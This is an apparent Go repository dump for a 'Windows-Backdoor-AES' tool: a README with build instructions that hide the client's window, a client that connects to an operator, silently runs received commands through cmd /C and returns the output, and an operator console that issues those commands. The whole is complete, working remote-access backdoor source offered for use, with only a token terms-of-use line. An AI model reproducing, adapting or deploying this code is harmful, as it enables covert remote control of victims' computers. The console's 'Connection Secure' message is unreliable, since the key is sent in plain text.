├── README.md ├── client.go └── main.go /README.md: -------------------------------------------------------------------------------- 1 | # Windows-Backdoor-AES 2 | I reworked the Go Windows Backdoor to use AES encryption. 3 | 4 | A simple Windows backdoor, It uses TCP connections to communicate between the Server and Client. 5 | Data in encrypted in AES, The KEY is auto generated on first connect. 6 | This is a Command Prompt backdoor. 7 | Send command "exit" to have the backdoor close. 8 | 9 | 10 | # Video 11 | Youtube: https://www.youtube.com/watch?v=y4eDgwFJkFY 12 | *Not much to see, just a peek at it. 13 | 14 | # Compile 15 | 16 | * go build main.go 17 | * go build -o backdoor.exe -ldflags "-H windowsgui" "client.go" 18 | 19 | The client will have no window and run in the background. 20 | 21 | # Terms of Use 22 | 23 | * Do NOT use this on any computer you do not own, or are allowed to run this on. 24 | * Credits must always be given, With linksback to here. 25 | * You may NEVER attempt to sell this, its free and open source. 26 | 27 | # Other 28 | 29 | Go is a amazing and powerful programming language. If you already haven't, check it out; https://golang.org/ 30 | 31 | # Donations 32 | 33 |

Please Donate To Bitcoin Address: 1AEbR1utjaYu3SGtBKZCLJMRR5RS7Bp7eE

34 | -------------------------------------------------------------------------------- /client.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "net" 4 | import "fmt" 5 | import "bufio" 6 | import "os/exec" 7 | import "syscall" 8 | import "encoding/base64" 9 | import "os" 10 | import "time" 11 | import "strings" 12 | import "crypto/aes" 13 | import "crypto/cipher" 14 | import "crypto/rand" 15 | import "io" 16 | 17 | var EncKey string = "" 18 | 19 | func main() { 20 | for { 21 | conn, err := net.Dial("tcp", "127.0.0.1:8181") 22 | if err != nil { 23 | time.Sleep(5 * time.Second) 24 | } else { 25 | for { 26 | message, _ := bufio.NewReader(conn).ReadString('\n') 27 | if len(message) >= 1 { 28 | if strings.Contains(string(message), "KEY:") { 29 | key := strings.Split(string(message), "KEY:") 30 | EncKey = key[1] 31 | } else { 32 | Command := decrypt([]byte(EncKey), string(message)) 33 | if Command == "exit" { 34 | os.Exit(0) 35 | } else { 36 | cmd := exec.Command("cmd", "/C", Command) 37 | cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 38 | out, err := cmd.Output() 39 | if err != nil { 40 | fmt.Fprintf(conn, encrypt([]byte(EncKey), string("Error running command."))+"\n") 41 | } else { 42 | for len(out) >= 1 { 43 | fmt.Fprintf(conn, encrypt([]byte(EncKey), string(out))+"\n") 44 | break 45 | } 46 | } 47 | } 48 | } 49 | } 50 | } 51 | } 52 | } 53 | } 54 | 55 | func encrypt(key []byte, text string) string { 56 | plaintext := []byte(text) 57 | 58 | block, err := aes.NewCipher(key) 59 | if err != nil { 60 | panic(err) 61 | } 62 | 63 | ciphertext := make([]byte, aes.BlockSize+len(plaintext)) 64 | iv := ciphertext[:aes.BlockSize] 65 | if _, err := io.ReadFull(rand.Reader, iv); err != nil { 66 | panic(err) 67 | } 68 | 69 | stream := cipher.NewCFBEncrypter(block, iv) 70 | stream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext) 71 | 72 | return base64.URLEncoding.EncodeToString(ciphertext) 73 | } 74 | 75 | func decrypt(key []byte, cryptoText string) string { 76 | ciphertext, _ := base64.URLEncoding.DecodeString(cryptoText) 77 | 78 | block, err := aes.NewCipher(key) 79 | if err != nil { 80 | panic(err) 81 | } 82 | if len(ciphertext) < aes.BlockSize { 83 | panic("Ciphertext too short") 84 | } 85 | 86 | iv := ciphertext[:aes.BlockSize] 87 | ciphertext = ciphertext[aes.BlockSize:] 88 | 89 | stream := cipher.NewCFBDecrypter(block, iv) 90 | 91 | stream.XORKeyStream(ciphertext, ciphertext) 92 | 93 | return fmt.Sprintf("%s", ciphertext) 94 | } 95 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | // Backdoor Console project main.go 2 | package main 3 | 4 | import ( 5 | "bufio" 6 | "crypto/aes" 7 | "crypto/cipher" 8 | "crypto/rand" 9 | "encoding/base64" 10 | "flag" 11 | "fmt" 12 | "io" 13 | "net" 14 | "os" 15 | "strconv" 16 | ) 17 | 18 | var EncKey string = "" 19 | 20 | func main() { 21 | port := flag.Int("listen", 8181, "Port you want to listen on.") 22 | flag.Parse() 23 | fmt.Println("Backdoor Console") 24 | ln, _ := net.Listen("tcp", ":"+strconv.Itoa(*port)) 25 | fmt.Println("Listening on port: " + strconv.Itoa(*port)) 26 | conn, _ := ln.Accept() 27 | fmt.Println("Connected to", conn.LocalAddr().String()) 28 | fmt.Println("Generating encryption key...") 29 | key, _ := generateRandomString(23) 30 | EncKey = key 31 | fmt.Println("Exchanging encryption key...") 32 | conn.Write([]byte("KEY:" + EncKey + "KEY:\n")) 33 | fmt.Println("Connection Secure.") 34 | fmt.Println("") 35 | for { 36 | fmt.Print("Command-> ") 37 | scan := bufio.NewScanner(os.Stdin) 38 | scan.Scan() 39 | conn.Write([]byte(encrypt([]byte(EncKey), scan.Text()) + "\n")) 40 | fmt.Println("") 41 | message, _ := bufio.NewReader(conn).ReadString('\n') 42 | if len(message) >= 1 { 43 | fmt.Println(decrypt([]byte(EncKey), string(message))) 44 | } else { 45 | fmt.Println("Connection to client lost.") 46 | os.Exit(0) 47 | } 48 | } 49 | } 50 | 51 | func generateRandomBytes(n int) ([]byte, error) { 52 | b := make([]byte, n) 53 | _, err := rand.Read(b) 54 | if err != nil { 55 | return nil, err 56 | } 57 | return b, nil 58 | } 59 | 60 | func generateRandomString(s int) (string, error) { 61 | b, err := generateRandomBytes(s) 62 | return base64.URLEncoding.EncodeToString(b), err 63 | } 64 | 65 | func encrypt(key []byte, text string) string { 66 | plaintext := []byte(text) 67 | block, err := aes.NewCipher(key) 68 | if err != nil { 69 | panic(err) 70 | } 71 | ciphertext := make([]byte, aes.BlockSize+len(plaintext)) 72 | iv := ciphertext[:aes.BlockSize] 73 | if _, err := io.ReadFull(rand.Reader, iv); err != nil { 74 | panic(err) 75 | } 76 | stream := cipher.NewCFBEncrypter(block, iv) 77 | stream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext) 78 | return base64.URLEncoding.EncodeToString(ciphertext) 79 | } 80 | 81 | func decrypt(key []byte, cryptoText string) string { 82 | ciphertext, _ := base64.URLEncoding.DecodeString(cryptoText) 83 | block, err := aes.NewCipher(key) 84 | if err != nil { 85 | panic(err) 86 | } 87 | if len(ciphertext) < aes.BlockSize { 88 | panic("Ciphertext too short") 89 | } 90 | iv := ciphertext[:aes.BlockSize] 91 | ciphertext = ciphertext[aes.BlockSize:] 92 | stream := cipher.NewCFBDecrypter(block, iv) 93 | stream.XORKeyStream(ciphertext, ciphertext) 94 | return fmt.Sprintf("%s", ciphertext) 95 | } 96 | --------------------------------------------------------------------------------